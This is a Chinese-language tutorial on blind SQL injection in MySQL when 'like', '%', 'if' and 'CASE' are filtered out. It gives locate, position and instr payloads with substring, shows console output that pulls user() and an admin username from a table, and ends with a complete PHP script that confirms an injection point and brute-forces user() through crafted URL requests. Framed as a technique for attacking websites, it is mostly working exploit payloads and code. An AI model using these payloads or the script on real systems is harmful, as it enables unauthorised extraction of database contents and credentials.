0x00 概要
日站过程中有过滤是很正常的事情.
本方法适用于 过滤了 like, %, if, CASE
也就是 like 注入无法正常使用,但是页面又没有回显的情况
like 替换方法
- locate
- position
- instr
0x01 locate, position, instr 函数注入时会遇到的问题
虽然说是替代但是其实没有那么的好用,因为他们都是左右匹配的QAQ
这会导致匹配类似 a1b2a1a2 这样的数据不准确的问题
例如: 我输入a1匹配为true,我输入a1a匹配一样会为真,这会导致一个问题就是我们不知道第一位的数据是怎么样的
所以我想出了两个解决方案
- 使用 substring 函数之类的方法
- 第二种是类似递归的方式,先得出要获得的数据的长度,然后利用循环慢慢递归爆破
第一种就不解释了,能用 substring之类的截断函数 其实就与普通的布尔盲注是一样的
第二种方法我就会文章的最后写个简单的例子
0x02 测试数据
mysql> select user();+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)
mysql> select current_user;+----------------+| current_user |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)
mysql> select * from tdb_goods where goods_id=1;+----------+----------------------------+------------+------------+-------------+---------+------------+| goods_id | goods_name | goods_cate | brand_name | goods_price | is_show | is_saleoff |+----------+----------------------------+------------+------------+-------------+---------+------------+| 1 | R510VC 15.6英寸笔记本 | 笔记本 | 华硕 | 3399.000 | 1 | 0 |+----------+----------------------------+------------+------------+-------------+---------+------------+1 row in set (0.00 sec)
0x03 substring 函数
截取特定长度的字符串
用法:
- substring(str, pos),即:substring(被截取字符串, 从第几位开始截取)
substring(str, pos, length) - 即:substring(被截取字符串,从第几位开始截取,截取长度)
0x04 locate 函数
记忆方式: select * from test where test=1 and locate(判断条件, 表达式)>0
0x04.1 查询user()数据
# 查询 user() 前两位数据-正确时# 正确时页面内容不会变# 表示user()函数,前两位数据为: romysql> select * from test where test=1 and locate('ro', substring(user(),1,2))>0;+----+------+-----+---------+| id | test | map | content |+----+------+-----+---------+| 1 | 1 | 1 | 0 |+----+------+-----+---------+1 row in set
# 查询 user() 前两位数据-错误# 错误时页面数据会返回为空mysql> select * from test where test=1 and locate('r1', substring(user(),1,2))>0;Empty set
0x04.2 查询数据库表数据
# 读取某库某表某字段前两位数据-正确时# 表示test表,第一条数据username字段,前两个字为: admysql> select * from test where test=1 and locate('ad', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;+----+------+-----+---------+| id | test | map | content |+----+------+-----+---------+| 1 | 1 | 1 | 0 |+----+------+-----+---------+1 row in set
# 读取某库某表某字段前两位数据-错误时mysql> select * from test where test=1 and locate('a1', substring((SELECT username FROM test.tdb_admin limit 0,1),1,2))>0;Empty set
0x05 position 函数
记忆方式: select * from test where test=1 and position(判断条件 IN 表达式)
0x05.1 查询user()数据
# 查询 user() 前两位数据-正确时# 正确时页面内容不会变# 表示user()函数,前两位数据为: romysql> select * from test where test=1 and position('ro' IN substring(user(),1,2));+----+------+-----+---------+| id | test | map | content |+----+------+-----+---------+| 1 | 1 | 1 | 0 |+----+------+-----+---------+1 row in set
# 查询 user() 前两位数据-错误# 错误时页面数据会返回为空mysql> select * from test where test=1 and position('ro1' IN substring(user(),1,2));Empty set
0x05.2 查询数据库表数据
# 读取某库某表某字段前两位数据-正确时# 表示test表,第一条数据username字段,前两个字为: admysql> select * from test where test=1 and position('ad' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));+----+------+-----+---------+| id | test | map | content |+----+------+-----+---------+| 1 | 1 | 1 | 0 |+----+------+-----+---------+1 row in set
# 读取某库某表某字段前两位数据-错误时mysql> select * from test where test=1 and position('a1' IN substring((SELECT username FROM test.tdb_admin limit 0,1),1,2));Empty set
0x06 instr 函数
俗称:字符查找函数
格式一:instr( string1, string2 ) / instr(源字符串, 目标字符串)
记忆方式: select * from test where test=1 and instr(表达式, 判断条件)>0
0x06.1 查询user()数据
# 查询 user() 前两位数据-正确时# 正确时页面内容不会变# 表示user()函数,前两位数据为: romysql> select * from test where test=1 and instr(substring(user(),1,2), 'ro')>0;+----+------+-----+---------+| id | test | map | content |+----+------+-----+---------+| 1 | 1 | 1 | 0 |+----+------+-----+---------+1 row in set
# 查询 user() 前两位数据-错误# 错误时页面数据会返回为空mysql> select * from test where test=1 and instr(substring(user(),1,2), 'roa')>0;Empty set
0x06.2 查询数据库表数据
# 读取某库某表某字段前两位数据-正确时# 表示test表,第一条数据username字段,前两个字为: admysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'ad')>0;+----+------+-----+---------+| id | test | map | content |+----+------+-----+---------+| 1 | 1 | 1 | 0 |+----+------+-----+---------+1 row in set
# 读取某库某表某字段前两位数据-错误时mysql> select * from test where test=1 and instr(substring((SELECT username FROM test.tdb_admin limit 0,1),1,2), 'adc')>0;Empty set
0x07 脚本思路讲解
例如 user() = root@localhost
先得出长度: 14
然后脚本进入死循环
先向右填充爆破一直到爆破不出来为止,然后在开始向左爆破
- 第一次: select * from test where test=1 and locate(BINARY ‘o’, user())>0; 因为user() 中有带
o的所以为真,判断爆破成功的长度是否为14 - 第二次: select * from test where test=1 and locate(BINARY ‘ot’, user())>0; 因为user() 中有带
ot的所以为真,判断爆破成功的长度是否为14 - 第x次: select * from test where test=1 and locate(BINARY ‘ot’, user())>0; 因为user() 中有带
ot@localhost的所以为真,判断爆破成功的长度是否为14,这时爆破会发现还差2个,然后只需要向左爆破一下即可
0x08 脚本思路例子-爆破 user()
<?phpclass SqlCurl{public function curlRequest($url, $post = [], $return_header = false, $cookie = '', $referurl = ''){if (!$referurl) {$referurl = 'https://www.baidu.com';}$header = array('Content-Type:application/x-www-form-urlencoded','X-Requested-With:XMLHttpRequest',);$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);//随机浏览器useragentcurl_setopt($curl, CURLOPT_USERAGENT, $this->agentArry());curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($curl, CURLOPT_AUTOREFERER, 1);curl_setopt($curl, CURLOPT_REFERER, $referurl);curl_setopt($curl, CURLOPT_HTTPHEADER, $header);if ($post) {curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));}if ($cookie) {curl_setopt($curl, CURLOPT_COOKIE, $cookie);}curl_setopt($curl, CURLOPT_TIMEOUT, 10);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);$data = curl_exec($curl);if (curl_errno($curl)) {return curl_error($curl);}$header_data = curl_getinfo($curl);if ($return_header) {return $header_data;}curl_close($curl);return $data;}private function getIp(){return mt_rand(11, 191) . "." . mt_rand(0, 240) . "." . mt_rand(1, 240) . "." . mt_rand(1, 240);}private function agentArry(){$agentarry = [//PC端的UserAgent"safari 5.1 – MAC" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","safari 5.1 – Windows" => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",];return $agentarry[array_rand($agentarry, 1)];}}// 注入点$url = 'http://127.0.0.1/test/test_sql.php?id=1';$result = (new SqlCurl())->curlRequest($url, [], true);if (isset($result['size_download']) && !empty($result['size_download'])) {$result_size = $result['size_download'];} else {$result_size = 0;}$sql_test_result_1 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=1 -- a'), [], true);$sql_test_result_2 = (new SqlCurl())->curlRequest($url.urlencode('\' and 1=2 -- a'), [], true);if ($result_size != $sql_test_result_1['size_download'] || $result_size === $sql_test_result_2['size_download']) {echo '不是注入';exit;}// 查询 user() 长度$i=0;$user_size = 0;while (true) {$sql_test_result_3 = (new SqlCurl())->curlRequest($url.urlencode('\' and length(user()) ='.$i.'-- a'), [], true);if ($sql_test_result_3['size_download'] === $result_size) {$user_size = $i;break;}$i++;}echo 'user()长度: '.$user_size.PHP_EOL;// 查询 user() 内容$payload = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~';$payload_count = strlen($payload);$user_data = '';while (true) {if (strlen($user_data) !== $user_size) {for ($j=0; $j < $payload_count; $j++) {// 向右爆破$sql_test_result_4 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$user_data.$payload[$j].'\', user())>0 -- a'), [], true);if ($sql_test_result_4['size_download'] === $result_size) {$user_data .= $payload[$j];echo $user_data.PHP_EOL;continue;} else {// 向左爆破$sql_test_result_5 = (new SqlCurl())->curlRequest($url.urlencode('\' and locate(BINARY \''.$payload[$j].$user_data.'\', user())>0 -- a'), [], true);if ($sql_test_result_5['size_download'] === $result_size) {$user_data = $payload[$j].$user_data;echo $user_data.PHP_EOL;continue;}}}} else {break;}}echo '执行完成'.PHP_EOL;echo 'user()长度: '.$user_size.PHP_EOL;echo 'user()内容: '.$user_data.PHP_EOL;
